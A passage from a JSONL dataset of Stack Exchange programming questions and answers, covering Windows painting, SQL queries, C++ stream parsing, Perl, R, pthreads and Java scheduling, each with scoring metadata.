InvalidateRect - there is also an InvalidateRgn function for more complicated areas. If you choose to do some painting before the next WM_PAINT message arrives, and you want to exclude that from the dirty area, there are ValidateRect and ValidateRgn functions.\nWhen you start painting with BeginPaint, you supply a PAINTSTRUCT that Windows fills with information about what needs to be painted. One of the members is the smallest rectangle that contains the invalid region. You can get the region itself using GetUpdateRgn (you must call this before BeginPaint, because BeginPaint marks the whole window as valid) if you want to minimize drawing when there are multiple small invalid areas.\nI would assume that, as minimizing drawing was important on the Mac and on X when those environments were originally written, there are equivalent mechanisms for maintaining an update region.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.441171"}
{"id": "hf_a580c66bd10f", "question": "<p>I want to maintain a list of global messages that will be displayed to all users of a web app. I want each user to be able to mark these messages as read individually. I've created 2 tables; <code>messages (id, body)</code> and <code>messages_read (user_id, message_id)</code>.</p>\n\n<p>Can you provide an sql statement that selects the unread messages for a single user? Or do you have any suggestions for a better way to handle this?</p>\n\n<p>Thanks!</p>\n", "question_body": "", "answer": "Well, you could use\n```\n```\nSELECT id FROM messages m WHERE m.id NOT IN(\n    SELECT message_id FROM messages_read WHERE user_id = ?)\n```\n```\nWhere ? is passed in by your app.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.465567"}
{"id": "hf_bf552aa1dc38", "question": "<p>I need to return a list of record id's from a table that may/may not have multiple entries with that record id on the same date. The same date criteria is key - if a record has three entries on 09/10/2008, then I need all three returned. If the record only has one entry on 09/12/2008, then I don't need it.</p>\n", "question_body": "", "answer": "```\n```\nSELECT id, datefield, count(*) FROM tablename GROUP BY datefield\n  HAVING count(*) > 1\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.539294"}
{"id": "hf_e63fb80660cc", "question": "<p>How cheap can MySQL be compared to MS SQL when you have tons of data (and joins/search)? Consider a site like  stackoverflow full of Q&amp;As already and after getting dugg. </p>\n\n<p>My ASP.NET sites are currently on SQL Server Express so I don't have any idea how cost compares in the long run. Although after a quick research, I'm starting to envy the savings MySQL folks get.</p>\n", "question_body": "", "answer": "I know that stackoverflow has had problems with deadlocks from reads/writes coming at odd intervals but they're claiming their architecture (MSSQL) is holding up fine.  This was before the public beta of course and according to Jeff's twitter earlier today:\nthe range of top 32 newest/modified\n  questions was about 20 minutes in the\n  private beta; now it's about 2\n  minutes.\nThat the site hasn't crashed yet is a testament to the database (as well as good coding and testing).\nBut why not post some specific numbers about your site?", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.576312"}
{"id": "hf_ac835904a9c2", "question": "<p>What factors determine which approach is more appropriate?</p>\n", "question_body": "", "answer": "Not nearly enough information here. It depends if your language even supports the construct \"Thing.something\" or equivalent (ie. it's an OO language). If so, it's far more appropriate because that's the OO paradigm (members should be associated with the object they act on). In a procedural style, of course, DoSomethingtoThing() is your only choice... or ThingDoSomething()", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.648793"}
{"id": "hf_7a751e278e3c", "question": "<p>What's the best library to use to generate RSS for a webserver written in Common Lisp?</p>\n", "question_body": "", "answer": "xml-emitter\nsays it has an RSS 2.0 emitter built in.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.824443"}
{"id": "hf_1d1ea5d9f635", "question": "<p>How can I set the protected <code>DoubleBuffered</code> property of the controls on a form that are suffering from flicker?</p>\n", "question_body": "", "answer": "```\n```\npublic void EnableDoubleBuffering()\n{\n   this.SetStyle(ControlStyles.DoubleBuffer | \n      ControlStyles.UserPaint | \n      ControlStyles.AllPaintingInWmPaint,\n      true);\n   this.UpdateStyles();\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.905456"}
{"id": "hf_e467c4db090d", "question": "<p>I am working on Linux with the GCC compiler. When my C++ program crashes I would like it to automatically generate a stacktrace.</p>\n\n<p>My program is being run by many different users and it also runs on Linux, Windows and Macintosh (all versions are compiled using <code>gcc</code>).</p>\n\n<p>I would like my program to be able to generate a stack trace when it crashes and the next time the user runs it, it will ask them if it is ok to send the stack trace to me so I can track down the problem. I can handle the sending the info to me but I don't know how to generate the trace string. Any ideas?</p>\n", "question_body": "", "answer": "```\n```\nulimit -c unlimited\n```\n```\nis a system variable, wich will allow to create a core dump after your application crashes. In this case an unlimited amount. Look for a file called core in the very same directory. Make sure you compiled your code with debugging informations enabled!\nregards", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.930087"}
{"id": "hf_6b0ec38daad4", "question": "<p>I would like to display multiple colors (and potentially shapes and sizes) of data points in a Google Chart scatter chart. Does anyone have an example of how to do so?</p>\n", "question_body": "", "answer": "You can only use one dataset in a scatter plot, thus only one color.\nhttp://code.google.com/apis/chart/#scatter_plot\nFrom the API description:\nScatter plots use multiple data sets differently than other chart types. You can only show one data set in a scatter plot.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:40.982169"}
{"id": "hf_27cb9192e6d2", "question": "<p>I've used the <a href=\"http://groups.csail.mit.edu/pag/continuoustesting/\" rel=\"noreferrer\">MIT Continuous testing</a> plugin in the past, but it has long since passed out of date and is no longer compatible with anything approaching a modern release of Eclipse. </p>\n\n<p>Does anyone have a good replacement? Free, naturally, is preferred. </p>\n", "question_body": "", "answer": "There is a list in this Ben Rady article at Object Mentor:\nContinuous Testing Explained\n.  Unfortunately the only Eclipse tool appears to be\nCT-Eclipse\nwhich is not currently maintained either.\nThere is also\nFireworks\nfor IntelliJ and\nInfinitest\nwhich is not IDE specific but also has some IntelliJ integration.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:41.029076"}
{"id": "hf_e18eddce0438", "question": "<p>I will be moving our production SQL2005 application to SQL2008 soon. Any things to lookout for before/after the move? Any warnings, advices?</p>\n\n<p>Thank you!</p>\n", "question_body": "", "answer": "The upgrade adviser can also help.\nLook at the execution plans with production data in the database.\nThough my best advice is to test, test, test.\nWhen people started moving from 2000 to 2005 it wasn't the breaking features that were show stoppers it was the change in how queries performed with the new optimizer.\nQueries that were heavily optimized for 2000 now performed poorly or even worse erratically leading people to chase down non-problems and generally lowering the confidence of the end users.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:41.173423"}
{"id": "hf_582dfc7a1cf9", "question": "<p>What is the easiest way to capitalize the first letter in each word of a string?</p>\n", "question_body": "", "answer": "Take a look at the\nucfirst\nfunction.\n```\n```\n$line = join \" \", map {ucfirst} split \" \", $line;\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:41.197253"}
{"id": "hf_a6cd76075485", "question": "<p>Can I persuade <code>operator&gt;&gt;</code> in C++ to read both a <code>hex</code> value AND and a <code>decimal</code> value?  The following program demonstrates how reading hex goes wrong.  I'd like the same <code>istringstream</code> to be able to read both <code>hex</code> and <code>decimal</code>.</p>\n<pre><code>#include &lt;iostream&gt;\n#include &lt;sstream&gt;\n\nint main(int argc, char** argv)\n{\n    int result = 0;\n    // std::istringstream is(&quot;5&quot;); // this works\n    std::istringstream is(&quot;0x5&quot;); // this fails\n\n    while ( is.good() ) {\n        if ( is.peek() != EOF )\n            is &gt;&gt; result;\n        else\n            break;\n    }\n\n    if ( is.fail() )\n        std::cout &lt;&lt; &quot;failed to read string&quot; &lt;&lt; std::endl;\n    else\n        std::cout &lt;&lt; &quot;successfully read string&quot; &lt;&lt; std::endl;\n\n    std::cout &lt;&lt; &quot;result: &quot; &lt;&lt; result &lt;&lt; std::endl;\n}\n</code></pre>\n", "question_body": "", "answer": "You need to tell C++ what your base is going to be.\nWant to parse a hex number?  Change your \"is >> result\" line to:\n```\n```\nis >> std::hex >> result;\n```\n```\nPutting a std::dec indicates decimal numbers, std::oct indicates octal.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:41.233381"}
{"id": "hf_8e6949244859", "question": "<p>I would like to keep the overhead at a minimum. Right now I have:</p>\n\n<pre><code>// Launch a Message Box with advice to the user\nDialogResult result = MessageBox::Show(\"This may take awhile, do you wish to continue?\", \"Warning\", MessageBoxButtons::YesNo, MessageBoxIcon::Exclamation);\n\n// The test will only be launched if the user has selected Yes on the Message Box\nif(result == DialogResult::Yes)\n{\n    // Execute code\n}\n</code></pre>\n\n<p>Unfortunately my client would prefer \"Continue\" and \"Cancel\" in place of the default \"Yes\" and \"No\" button text. It seems like there should be an easy way to do this.</p>\n", "question_body": "", "answer": "You can use \"OK\" and \"Cancel\"\nBy substituting\n```\nMessageBoxButtons::YesNo\n```\nwith\n```\nMessageBoxButtons::OKCancel\n```\nMessageBoxButtons Enum\nShort of that you would have to create a new form, as I don't believe the Enum can be extended.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:41.294826"}
{"id": "hf_73ca94e2b0da", "question": "<p>In the Java collections framework, the Collection interface declares the following method:</p>\n<blockquote>\n<p><a href=\"http://java.sun.com/javase/6/docs/api/java/util/Collection.html#toArray(T%5B%5D)\" rel=\"noreferrer\"><code>&lt;T&gt; T[] toArray(T[] a)</code></a></p>\n<p>Returns an array containing all of the elements in this collection; the runtime type of the returned array is that of the specified array. If the collection fits in the specified array, it is returned therein. Otherwise, a new array is allocated with the runtime type of the specified array and the size of this collection.</p>\n</blockquote>\n<p>If you wanted to implement this method, how would you create an array of the type of <strong>a</strong>, known only at runtime?</p>\n", "question_body": "", "answer": "```\n```\nArray.newInstance(Class componentType, int length)\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:41.347126"}
{"id": "hf_760684808d60", "question": "<p>Suppose I have a vector that is nested in a dataframe one or two levels.  Is there a quick and dirty way to access the last value, without using the <code>length()</code> function?  Something ala PERL's <code>$#</code> special var?</p>\n\n<p>So I would like something like:</p>\n\n<pre><code>dat$vec1$vec2[$#]\n</code></pre>\n\n<p>instead of</p>\n\n<pre><code>dat$vec1$vec2[length(dat$vec1$vec2)]\n</code></pre>\n", "question_body": "", "answer": "If you're looking for something as nice as Python's x[-1] notation, I think you're out of luck.  The standard idiom is\n```\n```\nx[length(x)]\n```\n```\nbut it's easy enough to write a function to do this:\n```\n```\nlast <- function(x) { return( x[length(x)] ) }\n```\n```\nThis missing feature in R annoys me too!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:41.407139"}
{"id": "hf_4740b855c22e", "question": "<p>GDB has severe issues when debugging with multiple threads (pthreads).\nAre there any other good multi-threaded debuggers for C/C++ on *nix?</p>\n", "question_body": "", "answer": "From my search, I have not found any good multi-thread debuggers for *nix. GDB seems to be getting better, and the last time I had to debug a multi-threaded application on FreeBSD (7.0-RELEASE) it behaved fairly well, letting me find where the error was.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:41.517170"}
{"id": "hf_0de13b70fb6b", "question": "<p>I want to write a raw byte/byte stream to a position in a file.\nThis is what I have currently:</p>\n\n<pre><code>$fpr = fopen($out, 'r+');\nfseek($fpr, 1); //seek to second byte\nfwrite($fpr, 0x63); \nfclose($fpr);\n</code></pre>\n\n<p>This currently writes the actually string value of \"99\" starting at byte offset 1.  IE, it writes bytes \"9\" and \"9\".  I just want to write the actual one byte value 0x63 which happens to represent number 99.</p>\n\n<p>Thanks for your time.</p>\n", "question_body": "", "answer": "```\nfwrite()\n```\ntakes strings. Try\n```\nchr(0x63)\n```\nif you want to write a\n```\n0x63\n```\nbyte to the file.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:41.608227"}
{"id": "hf_40af18b4c97c", "question": "<p>I have an application written in java, and I want to add a flash front end to it. The flash front end will run on the same computer as the java app in the stand alone flash player. I need two way communication between the two parts, and have no idea how to even start going about this. I suppose I could open a  socket between the two programs, but I feel that there must be an easier way. Is there a nice part of the api in actionscript 3.0 that will allow me to access java methods directly, or will I have to resort to sockets? I am relatively new to flash, by the way, so any good guides would be much appreciated!</p>\n\n<p>Thanks</p>\n", "question_body": "", "answer": "AMF\nis a messaging protocol commonly used to talk between flash and a backend system. There're several Java implementations, but I haven't used any of them so can't tell you which is best.\nBlaze DS\nRed5\nGranite DS\nFlash can also talk plain old XML, SOAP or REST to the backend, so depending on your codebase that might be easier.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:41.647257"}
{"id": "hf_f33b3a621dc9", "question": "<p>I am trying to run a SeleniumTestCase with phpunit but I cannot get it to run with the phpunit.bat script. </p>\n\n<p>My goal is to use phpunit with Selenium RC in CruiseControl &amp; phpUnderControl. This is what the test looks like:</p>\n\n<pre><code>require_once 'PHPUnit/Extensions/SeleniumTestCase.php';\n\nclass WebTest extends PHPUnit_Extensions_SeleniumTestCase\n{\n    protected function setUp()\n    {\n        $this-&gt;setBrowser('*firefox');\n        $this-&gt;setBrowserUrl('http://www.example.com/');\n    }\n\n    public function testTitle()\n    {\n        $this-&gt;open('http://www.example.com/');\n        $this-&gt;assertTitleEquals('Example Web Page');\n    }\n}\n</code></pre>\n\n<p>I also got PEAR in the include_path and PHPUnit installed with the Selenium extension. I installed these with the pear installer so I guess that's not the problem. </p>\n\n<p>Any help would be very much appreciated. </p>\n\n<p>Thanks, Remy</p>\n", "question_body": "", "answer": "Have a look at one of the comments in the require_once entry in the php manual..\nhttp://ie.php.net/manual/en/function.require-once.php#62838\n\"require_once (and include_once for that matters) is slow\nFurthermore, if you plan on using unit tests and mock objects (i.e. including mock classes before the real ones are included in the class you want to test), it will not work as require() loads a file and not a class.\"", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:41.888247"}
{"id": "hf_648bf134686f", "question": "<p>This is not \"exactly\" a programming question, but it's highly related.  We are writing an app that sends out email invitations for a client (no, it's not spam).  Their designer gave us an HTML and CSS template to use which is fine.  The problem is that it looks like crap in Outlook 2007 because Microsoft decided to use Word (of all things!) as the <a href=\"http://msdn.microsoft.com/en-us/library/aa338201.aspx\" rel=\"nofollow noreferrer\">rendering engine for HTML in Outlook 2007</a>.  I want the client to understand that they should design a \"compatible\" look and would love to be able to show some kind of statistics about what email clients are being used out there, namely that Outlook 2007 is growing in use.  </p>\n\n<p>Has anyone run across any white papers, web sites, studies that even come close to providing a view on this?  I don't expect census level accuracy, but something fairly credible would be good.  Thanks for any help.</p>\n", "question_body": "", "answer": "you should look at\nReturnPath\n- they somewhat specialize in that.\nClients you likely need to consider (aside from Outlook):\nAOL\nGmail\n(Google)\nYahoo Mail\n(Yahoo)\nHotmail\n/\nLive\n/\nMSN\n/\nOutlook\n(Microsoft)\nLotus Notes (IBM)\nThunderbird\n(Mozilla)", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:41.958986"}
{"id": "hf_6638f0dead2d", "question": "<p>I have written code to read a windows bitmap and would now like to display it with ltk. How can I construct an appropriate object? Is there such functionality in ltk? If not how can I do it directly interfacing to tk?</p>\n", "question_body": "", "answer": "Tk does not natively support windows bitmap files. However, the \"Img\" extension does and is freely available on just about every platform. You do not need to read the data in, you can create the image straight from the file on disk. In plain tcl/tk your code might look something like this:\n```\n```\npackage require Img\nset image [image create photo -file /path/to/image.bmp]\nlabel .l -image $image\npack .l\n```\n```\na little more information can be found at\nhttp://wiki.tcl.tk/6165", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.009069"}
{"id": "hf_5f0e97206e3b", "question": "<p>How do you get Perl to stop and give a stack trace when you reference an undef value, rather than merely warning? It seems that <code>use strict;</code> isn't sufficient for this purpose.</p>\n", "question_body": "", "answer": "Include this:\n```\n```\nuse Carp ();\n```\n```\nThen include\none\nof these lines at the top of your source file:\n```\n```\nlocal $SIG{__WARN__} = \\&Carp::confess;\nlocal $SIG{__WARN__} = \\&Carp::cluck;\n```\n```\nThe\n```\nconfess\n```\nline will give a stack trace, and the\n```\ncluck\n```\nline is much more terse.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.045997"}
{"id": "hf_2ff2a602f429", "question": "<p>I recently came across a ASP 1.1 web application that put a whole heap of stuff in the session variable - including all the DB data objects and even the DB connection object. It ends up being huge. When the web session times out (four hours after the user has finished using the application) sometimes their database transactions get rolled back. I'm assuming this is because the DB connection is not being closed properly when IIS kills the session.</p>\n\n<p>Anyway, my question is what should be in the session variable? Clearly some things need to be in there. The user selects which plan they want to edit on the main screen, so the plan id goes into the session variable. Is it better to try and reduce the load on the DB by storing all the details about the user (and their manager etc.) and the plan they are editing in the session variable or should I try to minimise the stuff in the session variable and query the DB for everything I need in the Page_Load event?</p>\n", "question_body": "", "answer": "This is pretty hard to answer because it's so application-specific, but here are a few guidelines I use:\nPut as little as possible in the session.\nUser-specific selections that should only last during a given visit are a good choice\noften, variables that need to be accessible to multiple pages throughout the user's visit to your site (to avoid passing them from page to page) are also good to put in the session.\nFrom what little you've said about your application, I'd probably select your data from the db and try to find ways to minimize the impact of those queries instead of loading down the session.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.083442"}
{"id": "hf_28a09a12d2fd", "question": "<p>How can I dismiss dialog in Cocoa application when user presses Esc or Enter key? I have OK button, is it possible to make it default button?</p>\n", "question_body": "", "answer": "If you present the alert panel using the\n```\nNSAlert\n```\nclass or,\n```\nNSRunAlertPanel\n```\nfamily of functions, or the\n```\nNSBeginAlertSheet\n```\nfamily of functions, you will get support for default and cancel buttons automatically.\nIf you're presenting a sheet that needs OK/Cancel buttons, and you're not using any of the above, you should be able to assign your buttons appropriate keyboard equivalents in Interface Builder using the attributes inspector.  (Just highlight the\nKey Equiv.\narea and press the key you want to be equivalent to pressing that button.)\nIf you're presenting a dialog that's not either an alert or a document/window-modal sheet — don't. :)  Document-modal alerts aren't Mac-like, and shouldn't be used for things like preferences windows.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.108661"}
{"id": "hf_3e076731323e", "question": "<p>Is it possible to create custom events in C++?  For example, say I have the variable X, and the variable Y.  Whenever X changes, I would like to execute a function that sets Y equal to 3X.  Is there a way to create such a trigger/event?  (triggers are common in some databases)</p>\n", "question_body": "", "answer": "Think you should read a little about\nDesign Patterns\n, specifically the\nObserver Pattern\n.\nQt from\nTrolltech\nhave implemented a nice solutions they call\nSignals and Slots\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.158459"}
{"id": "hf_d364cc7693da", "question": "<p>I do work in theoretical chemistry on a high performance cluster, often involving molecular dynamics simulations.  One of the problems my work addresses involves a static field of N-dimensional (typically N = 2-5) hyper-spheres, that a test particle may collide with.  I'm looking to optimize (read: overhaul) the the data structure I use for representing the field of spheres so I can do rapid collision detection.  Currently I use a dead simple array of pointers to an N-membered struct (doubles for each coordinate of the center) and a nearest-neighbor list.  I've heard of oct- and quad- trees but haven't found a clear explanation of how they work, how to efficiently implement one, or how to then do fast collision detection with one.  Given the size of my simulations, memory is (almost) no object, but cycles are.</p>\n", "question_body": "", "answer": "A Quad tree is a 2 dimensional tree, in which at each level a node has 4 children, each of which covers 1/4 of the area of the parent node.\nAn Oct tree is a 3 dimensional tree, in which at each level a node has 8 children, each of which contains 1/8th of the volume of the parent node.  Here is picture to help you visualize it:\nhttp://en.wikipedia.org/wiki/Octree\nIf you're doing N dimensional intersection tests, you could generalize this to an N tree.\nIntersection algorithms work by starting at the top of the tree and recursively traversing into any child nodes that intersect the object being tested, at some point you get to leaf nodes, which contain the actual objects.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.219807"}
{"id": "hf_33c598e1755a", "question": "<p>I would like to have some suggestions about which third-part controls can we use in our Visual C++ MFC application? </p>\n", "question_body": "", "answer": "If you don't mind paying, there's FarPoint Spread:\nhttp://www.componentsource.com/selec/products/farpoint-spread/summary.html", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.268506"}
{"id": "hf_4ed128e4c424", "question": "<p>What is the best/fastest way to sort Alphanumeric fields?  </p>\n", "question_body": "", "answer": "You will find that most development libraries ship with an implementation of the quicksort algorithm, which is often the fastest sorting algorithm.  Check out the\nWikipedia link here\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.330343"}
{"id": "hf_a5c241fdef2b", "question": "<p>In the C programming language and Pthreads as the threading library; do variables/structures that are shared between threads need to be declared as volatile? Assuming that they might be protected by a lock or not (barriers perhaps).</p>\n\n<p>Does the pthread POSIX standard have any say about this, is this compiler-dependent or neither?</p>\n\n<p>Edit to add: Thanks for the great answers. But what if you're <em>not</em> using locks; what if you're using <a href=\"http://en.wikipedia.org/wiki/Barrier_(computer_science)\" rel=\"noreferrer\">barriers</a> for example? Or code that uses primitives such as <a href=\"http://en.wikipedia.org/wiki/Compare_and_swap\" rel=\"noreferrer\">compare-and-swap</a> to directly and atomically modify a shared variable...</p>\n", "question_body": "", "answer": "Volatile means that we have to go to memory to get or set this value. If you don't set volatile, the compiled code might store the data in a register for a long time.\nWhat this means is that you should mark variables that you share between threads as volatile so that you don't have situations where one thread starts modifying the value but doesn't write its result before a second thread comes along and tries to read the value.\nVolatile is a compiler hint that disables certain optimizations. The output assembly of the compiler might have been safe without it but you should always use it for shared values.\nThis is especially important if you are NOT using the expensive thread sync objects provided by your system - you might for example have a data structure where you can keep it valid with a series of atomic changes. Many stacks that do not allocate memory are examples of such data structures, because you can add a value to the stack then move the end pointer or remove a value from the stack after moving the end pointer. When implementing such a structure, volatile becomes crucial to ensure that your atomic instructions are actually atomic.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.453736"}
{"id": "hf_37aad050362e", "question": "<p>If I am given a <code>MemoryStream</code> that I know has been populated with a <code>String</code>, how do I get a <code>String</code> back out?</p>\n", "question_body": "", "answer": "use a\nStreamReader\n, then you can use the\nReadToEnd\nmethod that returns a string.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.477869"}
{"id": "hf_40b952e80c22", "question": "<p>My employer just asked me to run a timed batch process in a Java EE WebSphere application they have running. It's supposed to run a certain class at 11:30 pm everyday.</p>\n\n<p>I'm not very familiar with Java EE nor WebSphere server (or tomcat, in the development environment), and I've been digging around but all I've found is about the java timer class but not how to set it or invoke it.</p>\n\n<p>It seems that editing the web.xml file is required as well.</p>\n\n<p>Any help will be appreciated!</p>\n", "question_body": "", "answer": "You should look at the open-source\nQuartz library\nfrom OpenSymphony. Very easy to use and perfect for this kind of thing.\nTimerTasks are best suited for running something in a short time in the future. But for a repeated execution in a large timeframe such as this, Quartz excels. You can even keep your list of upcoming tasks in persistent storage such as a file or database, so upcoming timed jobs are not lost if your application is restarted.\nAlso, there's a fantastic abstraction for Quartz in the Spring framework.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.517537"}
{"id": "hf_38703633ef91", "question": "<p>I am just getting started with flex and am using the SDK (not Flex Builder). I was wondering what's the best way to compile a mxml file from an ant build script. </p>\n", "question_body": "", "answer": "The Flex SDK ships with a set of ant tasks. More info at:\nhttp://livedocs.adobe.com/flex/3/html/help.html?content=anttasks_1.html\nHere is an example of compiling Flex SWCs with ant:\nhttp://www.mikechambers.com/blog/2006/05/19/example-using-ant-with-compc-to-compile-swcs/\nmike chambers", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:23:42.553954"}
